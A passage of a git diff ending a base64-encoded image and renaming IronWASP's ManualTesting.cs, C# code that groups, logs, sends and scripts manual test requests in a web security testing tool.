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 + + + \ No newline at end of file diff --git a/IronWASP/ManualTesting.cs b/Iron/ManualTesting.cs similarity index 97% rename from IronWASP/ManualTesting.cs rename to Iron/ManualTesting.cs index 82e4825..2a1c70a 100644 --- a/IronWASP/ManualTesting.cs +++ b/Iron/ManualTesting.cs @@ -1,816 +1,816 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.IO; -using System.Xml; -using System.Collections; -using System.Collections.Generic; -using System.Collections.Specialized; -using System.ComponentModel; -using System.Data; -using System.Data.SQLite; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.Threading; -using System.Reflection; -//using Fiddler; -using Microsoft.Scripting; -using Microsoft.Scripting.Runtime; -using Microsoft.Scripting.Hosting; -using IronPython; -using IronPython.Hosting; -using IronPython.Modules; -using IronPython.Runtime; -using IronPython.Runtime.Exceptions; -using IronRuby; -using IronRuby.Hosting; -using IronRuby.Runtime; -using IronRuby.StandardLibrary; - -namespace IronWASP -{ - public class ManualTesting - { - internal static int CurrentRequestID = 0; - internal static Request CurrentRequest; - internal static bool CurrentRequestIsSSL = false; - internal static bool CurrentRequestMarked = false; - internal static ScriptedSender ScSe = new ScriptedSender(); - internal static bool ScriptedSendEnabled = false; - static Stack StoredRequestStack = new Stack(); - - internal static int UntitledCount = 0; - - //To check message editing - internal static bool RequestChanged = false; - internal static bool RequestHeaderChanged = false; - internal static bool RequestBodyChanged = false; - internal static bool RequestQueryParametersChanged = false; - internal static bool RequestBodyParametersChanged = false; - internal static bool RequestCookieParametersChanged = false; - internal static bool RequestHeaderParametersChanged = false; - - internal static Thread RequestFormatThread; - internal static Thread ResponseFormatThread; - - //internal static Dictionary RedGroupSessions = new Dictionary(); - //internal static Dictionary BlueGroupSessions = new Dictionary(); - //internal static Dictionary GreenGroupSessions = new Dictionary(); - //internal static Dictionary GrayGroupSessions = new Dictionary(); - //internal static Dictionary BrownGroupSessions = new Dictionary(); - - //internal static List GroupNames = new List(); - internal static Dictionary> GroupSessions = new Dictionary>(); - internal static Dictionary CurrentGroupLogId = new Dictionary(); - - //internal static int RedGroupID = 0; - //internal static int BlueGroupID = 0; - //internal static int GreenGroupID = 0; - //internal static int GrayGroupID = 0; - //internal static int BrownGroupID = 0; - - internal static string CurrentGroup = ""; - - internal static void SendRequest() - { - if (ManualTesting.CurrentRequest == null) return; - - if (!IronProxy.ProxyRunning) - { - throw new Exception("IronWASP Proxy is currently not running. IronWASP cannot send Requests unless the Proxy is started. Please go to the Proxy section of IronWASP and click on the 'Start Proxy' button to fix this problem."); - } - - IronUI.ResetMTResponseDisplayFields(); - Request Request = ManualTesting.CurrentRequest.GetClone(); - StringDictionary Flags = new StringDictionary(); - Flags.Add("IronFlag-BuiltBy", "ManualTestingSection"); - Request.ID = Interlocked.Increment(ref Config.TestRequestsCount); - StoreInGroupList(Request); - SetCurrentID(Request.ID); - IronDB.LogMTRequest(Request); - IronUI.UpdateMTLogGridWithRequest(Request); - Flags.Add("IronFlag-ID", Request.ID.ToString()); - Fiddler.FiddlerApplication.oProxy.InjectCustomRequest(Request.GetFiddlerHTTPRequestHeaders(), Request.BodyArray, Flags); - } - - internal static void StoreInGroupList(Request Req) - { - Session IrSe = new Session(Req); - IrSe.Flags.Add("Group", CurrentGroup); - lock (GroupSessions) - { - if (!GroupSessions.ContainsKey(CurrentGroup)) - GroupSessions[CurrentGroup] = new Dictionary(); - - if (GroupSessions[CurrentGroup].ContainsKey(Req.ID)) - GroupSessions[CurrentGroup][Req.ID] = IrSe; - else - GroupSessions[CurrentGroup].Add(Req.ID, IrSe); - } - //switch (CurrentGroup) - //{ - // case("Red"): - // IrSe.Flags.Add("Group", "Red"); - // lock (RedGroupSessions) - // { - // if (RedGroupSessions.ContainsKey(Req.ID)) - // RedGroupSessions[Req.ID] = IrSe; - // else - // RedGroupSessions.Add(Req.ID, IrSe); - // } - // IronDB.AddToTestGroup(Req.ID, "Red"); - // break; - // case ("Blue"): - // IrSe.Flags.Add("Group", "Blue"); - // lock (BlueGroupSessions) - // { - // if (BlueGroupSessions.ContainsKey(Req.ID)) - // BlueGroupSessions[Req.ID] = IrSe; - // else - // BlueGroupSessions.Add(Req.ID, IrSe); - // } - // IronDB.AddToTestGroup(Req.ID, "Blue"); - // break; - // case ("Green"): - // IrSe.Flags.Add("Group", "Green"); - // lock (GreenGroupSessions) - // { - // if (GreenGroupSessions.ContainsKey(Req.ID)) - // GreenGroupSessions[Req.ID] = IrSe; - // else - // GreenGroupSessions.Add(Req.ID, IrSe); - // } - // IronDB.AddToTestGroup(Req.ID, "Green"); - // break; - // case ("Gray"): - // IrSe.Flags.Add("Group", "Gray"); - // lock (GrayGroupSessions) - // { - // if (GrayGroupSessions.ContainsKey(Req.ID)) - // GrayGroupSessions[Req.ID] = IrSe; - // else - // GrayGroupSessions.Add(Req.ID, IrSe); - // } - // IronDB.AddToTestGroup(Req.ID, "Gray"); - // break; - // case ("Brown"): - // IrSe.Flags.Add("Group", "Brown"); - // lock (BrownGroupSessions) - // { - // if (BrownGroupSessions.ContainsKey(Req.ID)) - // BrownGroupSessions[Req.ID] = IrSe; - // else - // BrownGroupSessions.Add(Req.ID, IrSe); - // } - // IronDB.AddToTestGroup(Req.ID, "Brown"); - // break; - //} - IronDB.AddToTestGroup(Req.ID, CurrentGroup); - IronUI.UpdateTestGroupLogGridWithRequest(IrSe); - } - - internal static void StoreInGroupList(Response Res) - { - Session IrSe = null; - - foreach (string Group in GroupSessions.Keys) - { - if (GroupSessions[Group].ContainsKey(Res.ID)) - { - lock (GroupSessions) - { - GroupSessions[Group][Res.ID].Response = Res; - IrSe = GroupSessions[Group][Res.ID]; - } - break; - } - } - //if (RedGroupSessions.ContainsKey(Res.ID)) - //{ - // lock (RedGroupSessions) - // { - // RedGroupSessions[Res.ID].Response = Res; - // IrSe = RedGroupSessions[Res.ID]; - // } - //} - //else if (BlueGroupSessions.ContainsKey(Res.ID)) - //{ - // lock (BlueGroupSessions) - // { - // BlueGroupSessions[Res.ID].Response = Res; - // IrSe = BlueGroupSessions[Res.ID]; - // } - //} - //else if (GreenGroupSessions.ContainsKey(Res.ID)) - //{ - // lock (GreenGroupSessions) - // { - // GreenGroupSessions[Res.ID].Response = Res; - // IrSe = GreenGroupSessions[Res.ID]; - // } - //} - //else if (GrayGroupSessions.ContainsKey(Res.ID)) - //{ - // lock (GrayGroupSessions) - // { - // GrayGroupSessions[Res.ID].Response = Res; - // IrSe = GrayGroupSessions[Res.ID]; - // } - //} - //else if (BrownGroupSessions.ContainsKey(Res.ID)) - //{ - // lock (BrownGroupSessions) - // { - // BrownGroupSessions[Res.ID].Response = Res; - // IrSe = BrownGroupSessions[Res.ID]; - // } - //} - if (IrSe != null) - { - if (IrSe.Flags.ContainsKey("Reflecton")) - IrSe.Flags["Reflecton"] = Analyzer.CheckReflections(IrSe); - else - IrSe.Flags.Add("Reflecton", Analyzer.CheckReflections(IrSe)); - IronUI.UpdateTestGroupLogGridWithResponse(IrSe); - } - } - - internal static void SetCurrentID(int ID) - { - CurrentRequestID = ID; - CurrentGroupLogId[CurrentGroup] = ID; - //switch(CurrentGroup) - //{ - // case("Red"): - // RedGroupID = ID; - // break; - // case ("Blue"): - // BlueGroupID = ID; - // break; - // case ("Green"): - // GreenGroupID = ID; - // break; - // case ("Gray"): - // GrayGroupID = ID; - // break; - // case ("Brown"): - // BrownGroupID = ID; - // break; - //} - } - - internal static void ClearGroup() - { - ClearGroup(CurrentGroup, 0); - } - - internal static void ClearGroup(string Group, int NewID) - { - SetCurrentID(NewID); - lock(GroupSessions) - { - if (GroupSessions.ContainsKey(Group)) - { - GroupSessions.Remove(Group); - } - } - //switch (CurrentGroup) - //{ - // case("Red"): - // lock (RedGroupSessions) { RedGroupSessions.Clear(); } - // break; - // case ("Blue"): - // lock (BlueGroupSessions) { BlueGroupSessions.Clear(); } - // break; - // case ("Green"): - // lock (GreenGroupSessions) { GreenGroupSessions.Clear(); } - // break; - // case ("Gray"): - // lock (GrayGroupSessions) { GrayGroupSessions.Clear(); } - // break; - // case ("Brown"): - // lock (BrownGroupSessions) { BrownGroupSessions.Clear(); } - // break; - //} - IronDB.ClearGroup(CurrentGroup); - } - - internal static void ShowGroup(string Group) - { - //TestIDLbl.BackColor = Color.Red; - //TestIDLbl.Text = "ID: 0"; - //ManualTesting.CurrentGroup = "Red"; - ManualTesting.CurrentGroup = Group; - IronUI.ResetMTDisplayFields(); - IronUI.UpdateTestGroupLogGrid(ManualTesting.GroupSessions[Group]); - ManualTesting.ShowSession(ManualTesting.CurrentGroupLogId[Group]); - //if (ManualTesting.RedGroupID == 0) MTReqResTabs.SelectTab("MTRequestTab"); - } - - internal static string CreateNewGroupWithRequest(Request Req, bool SwitchToMTSection) - { - string Name = ""; - bool Named = false; - while (!Named) - { - Name = string.Format("untitled-{0}", Interlocked.Increment(ref ManualTesting.UntitledCount)); - if (!ManualTesting.GroupSessions.ContainsKey(Name)) - { - Named = true; - } - } - CreateNewGroupWithRequest(Req, Name, SwitchToMTSection); - return Name; - } - - internal static void CreateNewGroupWithRequest(Request Req, string Group, bool SwitchToMTSection) - { - int TestID = Interlocked.Increment(ref Config.TestRequestsCount); - Req.ID = TestID; - IronDB.LogMTRequest(Req); - //IronDB.ClearGroup(Group); - ManualTesting.CurrentRequestID = TestID; - ManualTesting.CurrentGroup = Group; - ManualTesting.ClearGroup(Group, TestID); - ManualTesting.StoreInGroupList(Req); - IronUI.SetNewTestRequest(Req, Group, SwitchToMTSection); - } - - internal static void ShowSession(int ID) - { - Session IrSe = null; - foreach (string Group in GroupSessions.Keys) - { - if(GroupSessions[Group].ContainsKey(ID)) - { - IrSe = GroupSessions[Group][ID]; - IrSe.Flags["Group"] = Group; - } - } - //if (RedGroupSessions.ContainsKey(ID)) - //{ - // lock (RedGroupSessions) { IrSe = RedGroupSessions[ID]; IrSe.Flags["Group"] = "Red"; } - //} - //else if (BlueGroupSessions.ContainsKey(ID)) - //{ - // lock (BlueGroupSessions) { IrSe = BlueGroupSessions[ID]; IrSe.Flags["Group"] = "Blue"; } - //} - //else if (GreenGroupSessions.ContainsKey(ID)) - //{ - // lock (GreenGroupSessions) { IrSe = GreenGroupSessions[ID]; IrSe.Flags["Group"] = "Green"; } - //} - //else if (GrayGroupSessions.ContainsKey(ID)) - //{ - // lock (GrayGroupSessions) { IrSe = GrayGroupSessions[ID]; IrSe.Flags["Group"] = "Gray"; } - //} - //else if (BrownGroupSessions.ContainsKey(ID)) - //{ - // lock (BrownGroupSessions) { IrSe = BrownGroupSessions[ID]; IrSe.Flags["Group"] = "Brown"; } - //} - if (IrSe != null) - { - IronUI.ResetMTDisplayFields(); - IronUI.FillMTFields(IrSe); - //if (IrSe.Flags.ContainsKey("Reflecton")) - // IronUI.FillTestReflection(IrSe.Flags["Reflecton"].ToString()); - //else - // IronUI.FillTestReflection(""); - } - } - - internal static void ShowNextSession() - { - int[] IDs = GetGroupIDs(); - if (IDs == null) return; - Array.Sort(IDs); - foreach (int i in IDs) - { - if (i > CurrentRequestID) - { - ShowSession(i); - return; - } - } - } - - internal static void ShowPreviousSession() - { - int[] IDs = GetGroupIDs(); - if (IDs == null) return; - Array.Sort(IDs); - for (int i = IDs.Length - 1; i >= 0; i-- ) - { - if (IDs[i] < CurrentRequestID) - { - ShowSession(IDs[i]); - return; - } - } - } - - static int[] GetGroupIDs() - { - if (GroupSessions.ContainsKey(CurrentGroup)) - { - int[] IDs = new int[GroupSessions[CurrentGroup].Keys.Count]; - GroupSessions[CurrentGroup].Keys.CopyTo(IDs, 0); - return IDs; - } - //switch (CurrentGroup) - //{ - // case("Red"): - // int[] RedIDs = new int[RedGroupSessions.Keys.Count]; - // RedGroupSessions.Keys.CopyTo(RedIDs, 0); - // return RedIDs; - // case ("Blue"): - // int[] BlueIDs = new int[BlueGroupSessions.Keys.Count]; - // BlueGroupSessions.Keys.CopyTo(BlueIDs, 0); - // return BlueIDs; - // case ("Green"): - // int[] GreenIDs = new int[GreenGroupSessions.Keys.Count]; - // GreenGroupSessions.Keys.CopyTo(GreenIDs, 0); - // return GreenIDs; - // case ("Gray"): - // int[] GrayIDs = new int[GrayGroupSessions.Keys.Count]; - // GrayGroupSessions.Keys.CopyTo(GrayIDs, 0); - // return GrayIDs; - // case ("Brown"): - // int[] BrownIDs = new int[BrownGroupSessions.Keys.Count]; - // BrownGroupSessions.Keys.CopyTo(BrownIDs, 0); - // return BrownIDs; - //} - return null; - } - - internal static void ScriptedSend() - { - if (ManualTesting.CurrentRequest == null) return; - IronUI.ResetMTResponseDisplayFields(); - Request Request = ManualTesting.CurrentRequest.GetClone(); - Request.ID = Interlocked.Increment(ref Config.TestRequestsCount); - StoreInGroupList(Request); - SetCurrentID(Request.ID); - IronDB.LogMTRequest(Request); - IronUI.UpdateMTLogGridWithRequest(Request); - ScriptedSender Sender = new ScriptedSender(Request.GetClone(), Request.ID, ScSe); - ThreadStart TS = new ThreadStart(Sender.DoScriptedSend); - Thread SSThread = new Thread(TS); - SSThread.Start(); - } - - internal static string SetPyScriptedSend(string FunctionCode) - { - ScriptEngine Engine = Python.CreateEngine(); - StringBuilder FullCode = new StringBuilder(); - FullCode.AppendLine("from IronWASP import *"); - FullCode.AppendLine("import re"); - FullCode.AppendLine("class ss(ScriptedSender):"); - FullCode.AppendLine(" def ScriptedSend(self, req):"); - string[] CodeLines = FunctionCode.Split(new string[] {"\r\n"}, StringSplitOptions.RemoveEmptyEntries); - foreach (string Line in CodeLines) - { - FullCode.Append(" "); - FullCode.AppendLine(Line); - } - FullCode.AppendLine(" return res"); - FullCode.AppendLine(""); - FullCode.AppendLine(""); - FullCode.AppendLine("s = ss();"); - FullCode.AppendLine("ManualTesting.SetScriptedSender(s)"); - return SetScriptedSend(Engine, FullCode.ToString()); - } - - internal static string SetRbScriptedSend(string FunctionCode) - { - ScriptEngine Engine = Ruby.CreateEngine(); - StringBuilder FullCode = new StringBuilder(); - FullCode.AppendLine("include IronWASP"); - FullCode.AppendLine("class SS < ScriptedSender"); - FullCode.AppendLine(" def scripted_send(req)"); - string[] CodeLines = FunctionCode.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); - foreach (string Line in CodeLines) - { - 